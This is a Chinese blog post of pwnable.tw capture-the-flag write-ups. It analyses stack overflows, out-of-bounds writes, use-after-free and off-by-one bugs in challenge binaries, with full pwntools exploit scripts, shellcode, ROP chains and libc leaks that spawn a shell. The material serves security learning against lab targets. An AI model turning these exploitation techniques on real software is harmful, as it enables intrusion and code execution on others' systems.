0%

pwnable.tw记录(前八题)

pwnable.tw记录(前八题)

更新中.jpg

image-20210115105118752

start

栈溢出,ret2shellocde

程序流程:执行一次write函数和一次read函数。

  • 第一次栈溢出,劫持程序返回write函数的赋参地址(接下来write会将之前的esp地址输出)
  • 第二次write输出esp地址,read函数布置栈空间,放上shellcode,并通过esp的偏移找到shellcode的地址,放在返回地址上。

20200423213641742

image-20210104164903387

因为第一次最后面retn的时候pop eip,所以第二次write的时候,esp会在0xffffd10c也就是旧的esp的地方。

第二次read的时候,因为add esp,14h,所以这里的覆盖量还是0x14

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
filename = './start'
#p = process(filename)
p = remote("chall.pwnable.tw",10000)
#gdb.attach(p,"b*0x08048060")

p.recvuntil("Let's start the CTF:")
payload = "a"*0x14+p32(0x08048087)
p.send(payload)#不是sendline,否则0x0a会覆盖esp地址的低地址

esp = u32(p.recv()[0:4])
log.success("esp:"+hex(esp))
shellcode_addr = esp + 0x14#后来的返回地址和之前的esp就差一个0x14,因为最后一个(add esp,14h)
log.success("shellcode_addr:"+hex(shellcode_addr))
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'#32位较短的shellcode

payload = "b"*0x14+p32(shellcode_addr) + shellcode
log.success("len:"+hex(len(payload)))
p.sendline(payload)
p.interactive()

以前写的:https://blog.csdn.net/qq_43935969/article/details/105717621

orw

开启了沙箱,只能执行open、read和write函数

程序流程:输入shellcode,执行shellcode,但shellcode里面只能orw

找orw的shellcode即可。

https://xz.aliyun.com/t/6645?spm=5176.12901015.0.i12901015.5e28525cINEQJh#toc-3

shellcode的编写思路

  1. 打开flag文件(open)

  2. 将文件内内容读到(read)指定位置的栈上(其实哪里东西,,,注意不会被覆盖就行)

  3. 用write函数读取指定位置的信息即可。

32位函数寄存器

  • 第一个参数:ebx
  • 第二个参数:ecx
  • 第三个参数:edx

int 0x80调用表

几个常用的,不常用的见百度

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -
2 sys_fork arch/i386/kernel/process.c struct pt_regs - - - -
3 sys_read fs/read_write.c unsigned int char * size_t - -
4 sys_write fs/read_write.c unsigned int const char * size_t - -
5 sys_open fs/open.c const char * int int - -
6 sys_close fs/open.c unsigned int - -

open

函数原型:int open(const char * pathname, int flags, mode_t mode);

flags表示读写权限,0表示只读

  • O_RDONLY:以只读方式打开文件。
  • O_WRONLY:以只写方式打开文件。
  • O_RDWR:以可读写方式打开文件。
1
2
3
4
5
6
7
8
9
10
11
int fd = open("/home/orw/flag",0,0)
#将字符串"/home/orw/flag"放入栈中
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

/bin/sh
0x0068732f
0x00006873
0x6E69622f
1
2
3
4
mov eax,0x5#open函数调用号
mov ebx,esp#第一个参数为字符串地址,因为字符串在刚刚压栈,就是esp
xor ecx,ecx#第二个参数为0
int 0x80

image-20210104213908883

read

函数原型:ssize_t read(int fd, void *buf, size_t count);

fd是文件描述符

  • 标准输入(standard input)的文件描述符是 0

  • 标准输出(standard output)的文件描述符是 1

所以这里将open函数的返回值作为文件描述符

1
read(fd,buf,0x30);//直接用之前的
1
2
3
4
5
mov ebx,eax#fp的地址,也就是open函数返回地址
mov ecx,esp#读入到栈上,因为后续没有push、pop等操作,所以esp不变
mov edx,0x30#长度
mov eax,0x3#read函数调用号
int 0x80

write

函数原型:ssize_t write(int fd, const void *buf, size_t nbyte);

标准输出,故文件描述符为1

1
write(1,buf,0x30);
1
2
3
mov ebx,0x1#文件描述符为1
mov eax,0x4#write函数调用号
int 0x80

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#mobile
from pwn import *
filename = './orw'
#p = process(filename)
p = remote("chall.pwnable.tw",10001)

p.recvuntil("Give my your shellcode:")
payload = asm('''
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
mov ebx,0x1
mov eax,0x4
int 0x80
''')
p.send(payload)

p.interactive()

CVE-2018-1160

https://xz.aliyun.com/t/3710?spm=5176.12901015.0.i12901015.1d27525cNPKLYj#toc-0

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

calc

实现了一个计算器的功能,由于逻辑不严密,导致可以构造非法式子,修改内存的值。

需要耐心分析程序,maybe还需要脑洞大开

image-20210108173852141

主函数很简单,主要看calc函数

image-20210108174030310

主要有三个函数,get_expr用来输入计算公式并过滤非法字符;init_pool在站上分配一段空间并将内容清0;parse_expr是主要函数,用于对计算公式解析并计算。最后由printf函数打印输出结果。

注意:函数结束的条件是!get_expr((int)&expr_0, 1024)输入的字符串长度大于1024,然后可以返回main继续执行。

bzero函数

原型:extern void bzero(void *s, int n);

  • s 要置零的数据的起始地址
  • n 要置零的数据字节个数

image-20210108174912889

image-20210108175150201

image-20210110211310303

image-20210110211900726

这里需要好好理解。

漏洞在于,

image-20210110212502340

image-20210110213412358

最后在栈内布置如下rop

注释
0x0805c34b pop eax ; ret
11 数值
0x080701aa pop edx ; ret
0 数值
0x080701d1 pop ecx ; pop ebx ; ret
0 数值
binsh地址 通过main ebp计算得到
0x08049a21 int 0x80
0x6E69622f “/bin”
0x0068732f “/sh\x00”

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
filename = './calc'
p = process(filename)
#p = remote("chall.pwnable.tw",10100)

context.log_level = 'debug'
p.recvuntil("===")

p.sendline("+360")
p.recvline()
ebp_base = p.recv()
ebp_base = int(ebp_base)
print("[*]ebp_base1:"+str(ebp_base))

print("[*]ebp_base2:"+hex( int(ebp_base) & 0xffffffff ))

payload1 = "+361+77490"
payload2 = "+362-77479"
payload3 = "+363+134599427"
payload4 = "+364-134599427"
payload5 = "+365+77518"
payload6 = "+366-77518"
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.sendline(payload4)
p.sendline(payload5)
p.sendline(payload6)

bin_sh_addr=ebp_base + 4
diff_367=bin_sh_addr - 77518
p.sendline('+367'+str(diff_367))

p.sendline('+368')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
num_368 = p.recvline()
diff_368 = 134519329 - int(num_368)
print("[*]diff_368:"+str(diff_368))
print("[*]num_368:"+str(num_368))

p.sendline("+368")
p.sendline("+368+"+str(diff_368))

p.sendline("+369")
p.recvline()
p.recvline()
num_369 = p.recvline()
diff_369 = 1852400175 - int(num_369)
p.sendline("+369+"+str(diff_369))
print("[*]num_369:"+str(num_369))

p.sendline("+370")
p.recvline()
num_370 = p.recvline()
print("[*]num_370:"+str(num_370))
diff_370 = int(num_370) - 6845231
p.sendline("+370-"+str(diff_370))
print("[*]diff_370:"+str(diff_370))

p.sendline("a"*2048)
p.sendline("+361")

p.interactive()

参考:

从pwnable.tw-calc看数组越界造成的任意地址读写

youtube上视频:https://www.youtube.com/watch?v=LTgNNE04x2w

3* 17

dubblesort

保护全开、栈溢出

程序流程

  1. 输入name => 字符串没有’\x00’截断,信息泄露,计算libc基址
  2. 输入sort的数字个数 => 个数任意
  3. 输入数字到arr_sort数组 => 数组在[esp+1Ch]的位置【注意:这里gdb调试的时候用ebp不好使,,,】
  4. sort进行排序 => 数据从小到大输入才不会被改变

故如果个数较大,使得输入的数据能够覆盖返回地址和参数,即可getshell

1.name(libc基址)

name=“aaaa”,查看内存,故令name为“a”×0x18,最后还要发送回车或其他覆盖泄漏地址的低字节。

image-20210113094525538

这里基址的获取不等于0xf7f55000 - 0xf7da2000 = 0x1B3000,因为本地libc库和目标系统的libc库不一样,偏移也就不同!

libc基址偏移的获取

使用命令readelf -S libc_32.so.6查找.got.plt段的起始地址即可。

1
2
3
4
5
6
7
winter@ubuntu:~/tw$ readelf -S libc_32.so.6 
There are 68 section headers, starting at offset 0x1b0cc8:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[...]
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4

也就是起始地址为0x001b0000

system和”/bin/sh\x00”偏移

system地址的获取指令:readelf -s libc_32.so.6 | grep system【注意:s是小写】

1
2
3
4
winter@ubuntu:~/tw$ readelf -s libc_32.so.6 | grep system
245: 00110690 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

“/bin/sh\x00”获取:使用hex软件查找字符串”/bin/sh”

image-20210113101221317

【直接ida搜索字符串找不到该地址,,,可能由于不再字符串段?】hex下载地址

覆盖返回地址

ida里面显示数组情况:int arr_sort; // [esp+1Ch] [ebp-70h],但是由于esp计算是正确的,ebp不对。

根据调试得到,覆盖到canary需要0x18个字节。

image-20210113102645806

image-20210113102755565

canary

因为不能覆盖canary,所以要想办法不改变它的值。

方法是输入“+”或者“-”

image-20210113102947391

发现通过输入“+”、“-”并不会修改它的值。

image-20210113103843869

所以,接下来都填充成system函数,需要9个,接着填上“/bin/sh”的地址。

注意:【一般canary会小于system函数地址(0xf7开头),而libc中system又在“/bin/sh“之前,所以实现从小到大,sort后不会改变顺序,不能用“||sh”,因为大小小于system的地址。】

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding = utf - 8
from pwn import *
filename = './dubblesort'
p = process(filename)
#p = remote("chall.pwnable.tw", 10101)
context.log_level = 'debug'
libc = ELF("./libc_32.so.6")


p.recvuntil("What your name :")
p.sendline("aaaa"*6)
p.recvuntil("aaaa"*6)
leak_me = u32(p.recv()[:4])
log.success("leak:"+hex(leak_me))

libc_base = leak_me - 0x1B000a
system = libc_base + 0x0003a940
binsh = libc_base + 0x158e8b
log.success("system:"+hex(system))

#p.recvuntil("numbers do you what to sort :")
p.sendline("35")

def my_send(idx,content):
log.success("idx:"+str(idx))
p.recvuntil(str(idx)+" number : ")
p.sendline(content)

for i in range(24):
print(i)
my_send(i,str(i))
gdb.attach(p)
my_send(24,"+")#canary

for i in range(9):
my_send(int(25+i),str(system))
my_send(34,str(binsh))

p.interactive()

参考:

  1. pwnable.tw刷题之dubblesort

hacknote

简单的堆题,uaf(类似于hitcon的uaf)

难点在于libc没有字符串’/bin/sh’,解决方法在于直接将字符串“||sh”作为字符串地址传入即可。

image-20210110205251966

打印内容的语句,能否打印是判断该idx的ptr[i]是否存在

image-20210110205533787

image-20210110205601001

首先修改参数为got表地址,泄漏libc基址,然后修改函数地址为system,后面为“||sh”

system getshell参数

  1. ‘/bin/sh’字符串地址
  2. ‘sh’字符串地址
  3. ‘||sh’字符串(感觉非常有用,,,哈哈哈)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding = utf-8
from pwn import *
filename = './hacknote_4'
p = process(filename)
p=remote("chall.pwnable.tw",10102)
libc = ELF("./libc_32.so.6")
elf = ELF("./hacknote_4")
context.log_level = 'debug'

def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.send(content)

def delete(idx):
#p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))

#申请两个非0大小的块(而且要一样,不然不好使【不知道为什么,大佬教教我。。。】)
add(0x38,'aaaa')#0
add(0x38,'bbbb')#1


delete(0)#0
delete(1)#1

#将两个块的头malloc,其中一个还是ptr[i],另一个0x8大小的作为数据区
add(0x8,p32(0x0804862b)+p32(elf.got['atoi']))#2

#因为原先两个ptr[i]都申请回来了,所以可以将上面前四个字节作为函数,后四个字节作为参数地址。
show(0)

atoi_addr = (u32(p.recv()[:4]))
log.success("atoi:"+str(atoi_addr))

libc_base = (atoi_addr) - (libc.symbols['atoi'])
system_addr = libc_base + libc.symbols['system']

log.success("system:"+hex(system_addr))

#因为没有edit函数,所以先delete再add做修改。
delete(2)#2
add(0x8,p32(system_addr)+'||sh')#3
show(0)#调用

p.interactive()

Silver Bullet

off by one修改大小,造成栈溢出。

程序流程,分别是创建,edit修改(使用了strncat)和根据长度减去hp,可以退出循环

strncat

原型

char \* strncat(char *dest, const char *src, size_t n);

  • dest指向目标字符串
  • src为指向源字符串。

strncat()会将dest字符串最后的’\0’覆盖掉,字符追加完成后,再追加’\0’。

程序流程

image-20210115105743970

因为数据最大是0,所以*((_DWORD *)s + 12) = v2;刚好在数据相邻后面的位置上。

image-20210115110048753

image-20210115110545658

image-20210115110401451

所以,如果第一次输入40个数据,第二次输入8,那么数据长度变为8,还可以继续输入,造成栈溢出

image-20210115111613400

但是要程序返回的话,要需要返回,只有beat函数里面win才能return 0

image-20210115112152972

所以覆盖长度大于image-20210115112229004,接着覆盖返回地址为输出函数,泄漏got表信息,得到基址,计算system和‘/bin/sh’地址,覆盖返回地址的返回地址为main函数,再次执行覆盖长度,填充返回地址即可得到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#mobile
from pwn import *
filename = './silver_bullet'
p = process(filename)
#p = remote("chall.pwnable.tw",10103)
context.log_level = 'debug'
libc = ELF("./libc_32.so.6")
elf = ELF("./silver_bullet")

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def add(content):
#cmd(1)
p.sendline(str(1))
p.recvuntil("Give me your description of bullet :")
p.sendline(content)

def edit(content):
cmd(2)
p.recvuntil("Give me your another description of bullet :")
p.sendline(content)

add("a"*40)
edit("a"*8)#off by one

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048954

payload = '\xff'*7+p32(puts_plt)+p32(main)+p32(puts_got)#覆盖长度、返回地址为输出函数
edit(payload)

cmd(3)#win,return 0
p.recvuntil("Oh ! You win !!\n")
puts_addr = u32(p.recv()[:4])
log.success("puts:"+hex(puts_addr))#得到puts的got表信息

libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

#第二次main函数
add("a"*40)#再次覆盖长度
edit("a"*8)
payload = '\xff'*7+p32(system)+p32(main)+p32(binsh)#覆盖返回地址为system
edit(payload)

cmd(3)

p.interactive()

Re-alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding:utf-8
from pwn import *
import sys
local = 1
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./re-alloc')
elf = ELF('./re-alloc')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10106")
elf = ELF('./re-alloc')
libc = elf.libc

def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("choice: ",str(idx))

def add(idx,size,data):
choice(1)
sla("Index:",str(idx))
sla("Size:",str(size))
sda("Data:",data)

def realloc(idx,size,data=''):
choice(2)
sla("Index:",str(idx))
sla("Size:",str(size))
if size != 0:
sda("Data:",data)

def free(idx):
choice(3)
sla("Index:",str(idx))

add(0,8,"hello")
realloc(0,0)#free了,但没有置零
realloc(0,8,p64(elf.got['atoll']))#对free的块直接修改

gdb.attach(p)

add(1,8,'n0va')#将上面的块申请回来
realloc(1,0x20,'aaa')#修改大小为0x31
free(1)
#gdb.attach(p)
realloc(0,0x20,p64(elf.got['atoll']))#chunk0和chunk1内存中指向一个chunk,0的头没有置零,realloc正常。

add(1,0x20,'bbb')#1申请回来0x31
realloc(0,0x30,'bbb')#realloc变0x41
free(0)#0free了,头被置零了,0x41进入tcache
realloc(1,0x40,'ccc')#将1的大小realloc为0x51进入
free(1)#1也free了,0x51进入tcache
#0x20 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
#0x30 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
#0x40 [ 1]: 0x1db4260 ◂— 0x0
#0x50 [ 1]: 0x1db4260 ◂— 0x0

add(0,0x18,p64(elf.plt['printf']))#修改atollgot表为printf plt
# leak address
choice(1)
#gdb.attach(p,"b *0x40129D")
sla("Index:","%3$p")#泄漏信息
read_chk = int(ru('\n').strip('\n'),16) - 9
libc_base = read_chk - libc.symbols['__read_chk']
system = libc_base + libc.symbols['system']

show("libc_base: ",libc_base)
show("system: ",system)

#gdb.attach(p)

# change atoll to system
choice(1)
sda("Index:",'a')
#gdb.attach(p,"b *0x40129D")
sda("Size:",'%32c')
sda("Data:",p64(system))

# get shell
choice(1)
sda("Index:",'/bin/sh\x00')

#gdb.attach(p)

p.interactive()

参考:Pwnable.tw刷题之Silverbullet破解过程分享

Q:如果阅读本文需要付费,你是否愿意为此支付1元?